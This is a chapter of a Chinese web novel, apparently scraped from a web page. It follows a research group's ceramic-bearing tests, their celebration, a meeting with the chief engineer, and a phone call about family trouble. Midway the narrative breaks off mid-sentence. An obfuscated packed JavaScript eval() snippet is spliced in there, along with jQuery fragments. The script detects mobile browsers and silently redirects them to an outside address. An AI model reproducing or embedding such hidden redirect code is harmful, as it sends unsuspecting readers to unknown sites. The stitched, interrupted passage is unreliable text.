叶繁茵几人最近都没怎么往食堂跑。


    长虹楼有专门的运餐员，糖醋苹果，今天的特供。


    运餐员在门口嚷嚷着三分之二都被他给抢了过来，赢得大家一阵称赞。


    随意夹了几块，盖上饭盒，叶繁茵匆匆跑回了实验室。


    说来也是巧，他们还是被分在了8号实验室，不过这次在一楼，有些避光，好在长虹楼的电力足，灯够亮。


    “今天又是特色菜。”叶繁茵打开饭盒让几人瞅了一眼，除了糖醋苹果，还有一道醋溜豆芽，全是酸的还没肉。


    葛谆对着叶繁茵的饭盒左瞧瞧右看看：“肉呢？没肉。”不应该啊！怎么说都应该有点子肉沫在啊！


    “没，有排骨，我去的时候早被抢光了。”叶繁茵坐回位置上，就着杂面馒头吃了两口豆芽，“那运餐员说糖醋苹果也是一样的，排骨没了就吃苹果。”


    “这食堂越来越会投机取巧了，醋水泡苹果也能叫糖醋苹果？”蒋白拉开抽屉，干嚼着两块饼干，他没存粮了。


    醋是酸的，苹果也是酸的，没有糖。


    尚佳用筷子从叶繁茵饭盒里夹出来了一块，她紧眯着眼，酸涩出声：“好酸！”


    “酸的精神。”叶繁茵迎着几人看过来的目光，把剩下的几块苹果都放进了嘴里，咔吧咔吧，“运餐员说的。”


    剩下的几人瞧着她不由得倒吸一口凉气，牙龈发酸，这也太猛了。


    葛谆扒拉着自己剩余的钱票：“今天，我必须去食堂！谁都拦不住。”


    “加我一个。”


    “我也去吧，组长有没有要吃的。”


    叶繁茵点了点头，去食堂必须穿过院墙，只要从哪经过，逃不过大部分人的目光。


    反正都出去了，再引人注目些也无妨，就是带进来门口的保卫员估计会查。


    不用到晚上，整栋楼都能知道她吃了什么。


    房门被敲响，又是左思，叶繁茵他们也是这两天才知道他是总工带的学生。


    “叶技术员，你们排在1号设备室的下午第6个，别迟到。”


    激光干涉仪，是个精贵东西，要用得排号。


    他们已经排三天了。


    “赵牧早早就去设备室占位了，给他也带一份吧。”


    丁和风应承下来。


    6号是下午的最后一批，等叶繁茵带着葛谆去1号设备室的时候已经将近五点了。


    推开1号设备室的大门，屋内的欢声讨论在他们进来的时候停了一瞬，转而又若无其事的响起。


    “组长。”陈爱云和赵牧换了班，她抱着数据册从角落里走了过来。


    一早出现过恶意占用设备的情况，总工直接下死令，每个研究组都得严格按照事先的申请使用设备。


    分配多长时间就是多长时间。


    不过灵活变动也是允许的，只要其他实验组同意。


    长时间占用的申请大概率是批不下来的，谁都说自己的研究重要，要是敢过一个其他的不过也得过。


    几天有个大研究组，一直占用设备知道今天早上十点才结束，晚上覆盖十几个研究组的时间位。


    叶繁茵吐槽，这规定不和没规定一样，还是该抢的抢该占的占，不过是又给了一个撕皮说理的地方。


    能不能要来点补偿还是另一回事。


    不然，人家为什么叫大研究组，不是有国家划分任务就是省级分配任务，扯到最后都是为了国家技术进步。


    让你说行还是不行，有几个能扯着脖子敢说不行的？


    都还是忍了。


    进入设备室的隔离房内，陈爱云和葛谆去往激光干涉仪的方向检测陶瓷轴承精度。


    叶繁茵找到扫描电子显微镜检测他们研究出的最新的复合性陶瓷材料。


    隔离房是透明的，里面的情况显而易见，玻璃门外只立着一个丁和风，完全隔离不了众人的好奇心。


    他们早该走了，在这磨蹭这么久为的不就是瞧瞧新来的研究组是个什么水平。


    从其他地方调来来长虹楼大多都是分散来的，都不认识，这一来就一个组的真是少见。


    总工又一字不愿透露，他们只能自己想办法了。


    多呆一会影响不了进度。


    至于成果能让军工厂要去生产，这不是什么值得说的，长虹楼里谁手里没一两个成果，不照样得在别人手下干活。


    “他们俩到底会用不会用啊？”有研究员爬在玻璃门上，指着陈爱云和葛谆道。


    “我看悬。欸，老李，你进去教教他们呗！”


    “这可不成，你瞅这小子站门口是什么意思？不就是防着我们吗？我可不去，要去你去。”被称作老李的研究院指指丁和风，努嘴道。


    “你问问他呗！总不能就干看着那俩个在哪傻愣愣的吧？”继续撺掇。


    老李终是没忍住开口问道：“小子，我……”不说其他，这设备被他们整出问题可就完了。


    没等老李说完，又有人出声道。


    “欸，好了好了，他们动了。”


    “是吧！旁边放的有说明书，拿起来看看总是会的，再说下午的时候那个小陈不是在这问了一圈吗？也该会了。”


    他可是听见李西他们的话了，下午小陈在这问了一圈他是一个字不提，张嘴闭嘴就是人家这了那了，就算有问题也用不到他们，真当隔离房里的值班人员是傻的吗？


    眼睁睁看着检测推进不动，设备出问题。


    “老李啊！你们在哪担心个啥子？值班员还在里面呢，用不到你们。怎么你们也想去小陈研究室？”有人哄笑出声。


    众人心里跟明镜一样，与其在大实验室里日复一日出不了头，还不如去个小实验室当个小负责人。


    看不到头的实验，检测，再实验，早把人的生气给磨光了。


    老李可不认：“钟清芳，你瞎说什么？我在实验室干的好好的，换什么实验室？我在实验室的时候，你还不知道在哪混呢，对实验室的感情深的很，怎么会离开！”


    嘿嘿笑了两声，钟清芳没再说话。


    对啊，感情深，研究了十年的实验还没有成功。


    隔离房内听不见外面的声音。


    叶繁茵的位置离玻璃很近，外面的人头攒动她感觉的一清二楚。


    他们总不会冲进来，叶繁茵没把这事放在心上，把防潮盒打开，抽取一镊子成品镀上铂。


    预热电子枪，等时间到了，把成品插入样品台。


    保存图像后，叶繁茵观察着相关数据，分析陶瓷内的晶粒尺寸和分布均匀性，反复检测了两次，才取出样品。


    叶繁茵看了手表马上就要九点，设备室要关门了，她简单收拾了样品和资料，往陈爱云和葛谆那边走去。


    排的时间晚，总是要迟一些的，相信值班员是能理解的。


    和叶繁茵想的一样，陈爱云和葛谆也是这么打算的，两人检测的很细，完全没有临到时间的焦急，手忙脚乱。


    等他们完全收尾离开隔离房，设备室内的人也没有少几个，一圈圈的围在门口。


    丁和风无奈的看向叶繁茵：“劝过，但大家都执意留下。”


    “各位让让，该下班了，明天还得继续实验呢！得保持充足的精力。”叶繁茵侧手开出一条路，让陈爱云和葛谆先走。


    一群大老爷们，总不能拦着小姑娘不让走，在叶繁茵看来，丁和风就是吃了大小伙子的亏。


    设备室内的几个女研究员早离开了，叶繁茵一路畅通无阻，到底没一个敢直接上来拦的，都是嘴上功夫。


    “欸，叶组长这就走了，让我们帮你们分析分析实验数据呗！”


    “就是就是，直接在这教教你们，也不用回去学了，那多浪费时间。”


    叶繁茵含糊道：“多谢各位关心，以后有帮助一定上门找各位！刘研究员，陈研究员，还有童研究员，真是太感谢了！一早刚来长虹楼就听说几位特别的热心，如此看了所言非虚。


    还有后面的几位研究员，到时候我让人去请你们啊！”


    拉长的空间距离，完全没有让叶繁茵的声音发虚，传到设备室内依旧洪亮。


    众人都听的清楚。


    一时间没有人再出声，要帮看数据，谁都不愿意被缠上。


    那个研究组不忙？他们待到这么晚可不是只为了看热闹，检测的数据还没做完呢！


    大家一哄而散，朝各个不同编号的设备室内走去，小型的设备一般实验室内都有配备。


    大型的，高精度的都被统一放在各个设备室内，以供多个研究组使用。


    这测数据一坐就是半天，晚上不回去长有的事儿，除了几个需要定时维护的设备，其他设备室干通宵是常有的事。


    回到一楼8号实验室，尚佳和蒋白他们都在。


    叶繁茵抽出总结的数据单，把剩下零碎的数据发了下去。


    “一个好消息，一个坏消息。”


    “先说坏的。”葛谆立马应声。


    “咱们的融合实验成果不是特别显著，特制涂料和陶瓷的融合性不高，存在很大的风险性。”叶繁茵按着几个格外加粗的数据沉声道。


    实验室内静了一瞬，片刻后纸页翻动的声音再次响起，剩下几人对视了一眼，神情各异。


    最终，还是由葛谆支支吾吾道：“这还不行啊！百分百结合不太现实吧。”


    自认为是轴承研究小组的头号相应成员，葛谆在这一向胆子很大。


    冒头的活，大多都是他来做。


    好消息就是，经过设备检测，陶瓷轴承的圆度，滚轮平行度，以及轴承转动时的径向跳动完全在合理范围之内。


    无疑是成功的，完全能把相关技术投放给735军工厂进行生产。


    8号实验室陶瓷轴承一号研究任务首战告捷！


    葛谆一改之前的苦闷，高声欢呼，就连陈爱云也情绪外露，接连应合了葛谆过于张扬的话。


    “咱们应该去庆祝，庆祝。”说着葛谆开始倒出铁盒里的粮票，粗略一看，便全都抓进手里。


    “去食堂，我请客！”


    蒋白抬手随意搭在了葛谆身上：“就你那点子钱，别拿出来丢人了。”


    手被葛谆打下去，蒋白也没生气，继续调侃道：“再说你是谁啊？什么立场请我们吃饭？没职没位的，要请也是叶大组长请，可轮不到你。”


    蒋白抬下巴，点了一圈，就是落不到葛谆身上。


    “你得排最后。”


    葛谆接受不了，这是什么意思，说他排不上号呗！兴奋的情绪冲击着他，葛谆完全顾不上别的，和蒋白对喷了起来。


    这场闹剧，最终在叶繁茵的强制按压下暂时停止了。


    她知道食堂的周大厨每天晚上回去的特别晚，九点半了，多扯一会儿人还在的可能性就小一分。


    食堂二楼，有个窗口还微微透着亮光，大厨还在。


    沥沥拉拉扯到了将近凌晨，周大厨过来催了好几次，叶繁茵几人才动身离开。


    葛谆喝醉了，踉踉跄跄走到实验楼，最后是丁和风和蒋白把他扶了上去。


    躺在床上，叶繁茵细数着最近的变化，目前看了都还算是顺利，除了特制涂料和陶瓷的融合不是太理想。


    跟着喝了几杯酒，叶繁茵身上也粘上了酒气，回来的晚，澡堂早关门了。


    简单擦拭了几下，效果不是很明显。


    叶繁茵还是觉得臭烘烘的，索性就坐了起来，打开手电筒固定在墙角的卡槽上，翻开之前的配比图和一系列相关资料数据。


    到底是哪里出了差错？


    除了长虹楼，研究院其他地方严格按照早六晚六的时间送电，断电。


    当然，某些特殊用途的设备除外，走其他线路。


    最近，刘部长好像再申请扩大兴虹楼的用电时间和额度，叶繁茵昨天听庄静提了一嘴。


    她倒是挺希望刘部长能成功，在兴虹楼8号实验室，他们吃了好几次突然断电的亏。


    接连往办公室申报好几次才算是好了过来，电是必须要用的，那个设备不需要用电。


    可以说，没电几乎就无法研究，生产。


    手电筒要换电池了，昏黄的灯光赫然昭示着它的能量已经走到了尽头。


    叶繁茵头晕晕的，看着这黄光更加迷瞪了，数据配比没检测多少，她先低头差点睡了过去。


    揉揉脸上的压痕，叶繁茵合上数据册，关掉手电筒，沉沉的睡了过去。


    酒精发挥作用了。


    次日一早，叶繁茵刚进实验室坐下便被突然闯入的左思叫了起来。


    “叶技术员，总工找你。”简单直白的通知完。


    这次左思不似之前，传完话就走，他立在门口，看架势是要带叶繁茵一同过去。


    实验室的门刚关上，葛谆就忍不住吐槽起来。


    他昨天喝的酒最多，半


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308897|163990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夜还吐了，现在头正疼这呢！刚爬下来想缓一会，左思不敲门直接闯了进来，着实把他吓了一跳。


    这偷懒的业务，他不熟悉，做起来多少有点胆战心惊。


    “神经的很。”蒋白突然来了一句。


    葛谆神会，没有反驳，可不就是神经嘛！总是突然冒出一句话。


    像当初他们刚来长虹楼，左思扎了他们一句后便不再出声，任凭他们怎么问。


    不是多看，就是问其他人。


    给几人搞得窝火，好在有一个从长虹楼调出来的范晶晶，多少缓和了点气氛。


    二楼，总工办公室。


    左思敲门，等到里面有了回应，推门带着叶繁茵走了进去。


    “小叶来了！行了，左思你先走吧。”总工从窗口转过身，走到桌椅旁，对左思摆了摆手道。


    叶繁茵目视左思开门离开，回头视线偏移，整个办公室的全貌面收入眼中。


    空，第一印象就是空。


    不同于胡总工办公室的杂乱，张工工位的规正，刘部长办公室的琳琅满目，物品齐全，总工这里只有一个办公桌和一组简易的桌凳用来待客。


    不说日常所需，这里连一张纸屑都没有。


    叶繁茵面色不动，按照总工的示意，跟着坐了下来。


    “小叶，你也别端着。按辈分来说，你也得喊我一声爷爷呢！”总工笑的顽劣，不似面对左思那般严肃，不容置疑。


    又来了，叶繁茵内心扶额：“您说是那就是吧！”


    总工摇头笑道：“你这丫头，真的是。”


    叶繁茵不觉得，总工特意找她就为了说这无须有的事，她微微放松身体，等待着下文。


    “我听小高说，你们那个轴承，检测数据很是完美。”总工瞟了叶繁茵一眼，不再打哑谜。


    小高是2号设备室的值班员。


    叶繁茵还是很谦虚：“完美谈不上，但也符合预期。”


    总工心里有了判断，差不多就是完美呗！他们做的那个成果预测，他可是瞧过的。


    啧啧啧，那数据那要求，他敢说，长虹楼都没几个人敢这么写的。


    说出来都得被人笑掉大牙，指着鼻子笑骂不切实际。


    那天他特意没把相关数据推测递给左思他们两个看，要不然当场就能辩论起来，小叶他们来长虹楼后大概率还得面临些异样的眼光。


    可这不切实际的东西还真就成功了。


    总工还是挺高兴的。


    他在兴虹楼给小刘那说的都是场面话，人来了长虹楼不就是他们的人了吗？身在曹营心在汉可要不得。


    拿起桌面上的资料，总工细细的问起来叶繁茵，8号实验室几人的情况。


    叶繁茵想着，研究院研究领域的一号人物关注总不能是坏事，便没有隐瞒，客观的描述了一遍她对几人的了解。


    总工在资料说勾画几笔，不时的点头。


    回到实验室。


    叶繁茵没有过多向几人透露什么，总工没给准话，她也摸不准，还是继续实验重要。


    保不住，那天他们人就不齐了。


    做研究，人不重要，也很重要。


    像之前张工总挂在嘴边的，你不干总有人干，为此葛谆算是付出了一把心酸泪。


    但干与不干，这个人干和那个人干总是不一样的，人不是机器，有自己的思想，不同的思想撞击总会有不同的火花。


    谁都说不准到底是好还是不好。


    但就目前的情况，叶繁茵还是比较满意的。


    她得抓紧时间了，在总工最后定调前，把轴承再做一次升级，改进耐高温的程度，多少还能再为几人加点筹码。


    8号实验室在叶繁茵从总工办公室回来后，再次无缝衔接的进入紧张严密的氛围当中。


    接踵而来的事情让叶繁茵早把给临溪县打电话，这事忘到了九霄云外。


    一周后，塔城再次迎来了二次降温，毛衣不顶用了。


    叶繁茵换上薄棉衣，感受着室外刺骨的温度，匆忙的往保卫科赶去。


    电话接通，是那个小孩，江辞。


    叶繁茵陈述一番，等了些许时候，对面还是沉默，她有些不解，正准备再问，对面开口了。


    “栗文泊在床上躺着呢！接不了电话，你跟我说吧。”


    揪着话题盘问了一番，叶繁茵算是简单明白了事情的经过。


    栗文泊和白霜的事果然没完，不仅如此还又牵扯进去了梅馨，不知怎么的，她突然站在了白霜那一边。


    除了这个，梅馨还给她订了一门婚事。


    听到这儿，叶繁茵多少有些无语和不可思议，她才走了多久，这小梅舅妈胆子就大到了这种程度。


    她的胆子是和脑子互换了吗？胆子大了，脑子没了！


    以为自己是谁啊！还能替她定亲呢！这么厉害，到时候自己摁头嫁过去得了，反正他们看的对眼。


    这么想的叶繁茵也这么说了，那边沉默了一顺，咳嗽两声装作若无其事的继续说道。


    “栗文泊的腿被太公给打断了，说要把他关在家里，看他以后还怎么出去招风引蝶。”


    她舅舅收拾不了媳妇就会折磨儿子，这事叶繁茵七八年前就看明白了，大表哥是这样，栗文泊也是这样。


    偏偏这俩人被他们老爹吃的死死的。


    就这件事，虽说梅馨肯定有为了栗文泊的私心，想给他找个助力，当然，叶繁茵不是很能完全明白她。


    这么多年来，舅舅对他们叶家一大家子很不错，不管是对奶奶还是爸妈还在临溪县的时候，还是为了她哥能去当兵，以及她的事情，都很上心。


    亲舅舅也不过如此了。


    可梅馨也不看看她自己是什么样的，那次她不出来阻止说风凉话。


    她就这么坚信婚姻能让两个人绑定在一起，双方共同为其他人奉献力量。


    可不见得，心思各异的多了去了。


    叶奶奶去医院给栗文泊抓药去了，栗舅舅再强势要收拾儿子，也搞不定横在身前的姑姑。


    到底没下狠手，可伤上加伤，着实还是让栗文泊吃了不少苦头，在医院住了几天，他便嚷嚷着要回叶家。


    叶家有叶奶奶坐镇，老头子翻不起大浪，他放心。


    好在找回了大儿子的后代，叶奶奶最近精气神都不一样了，多次往返医院仍旧精力十足，叶繁茵听着嘹亮的声音，没忍住把话筒离远了些。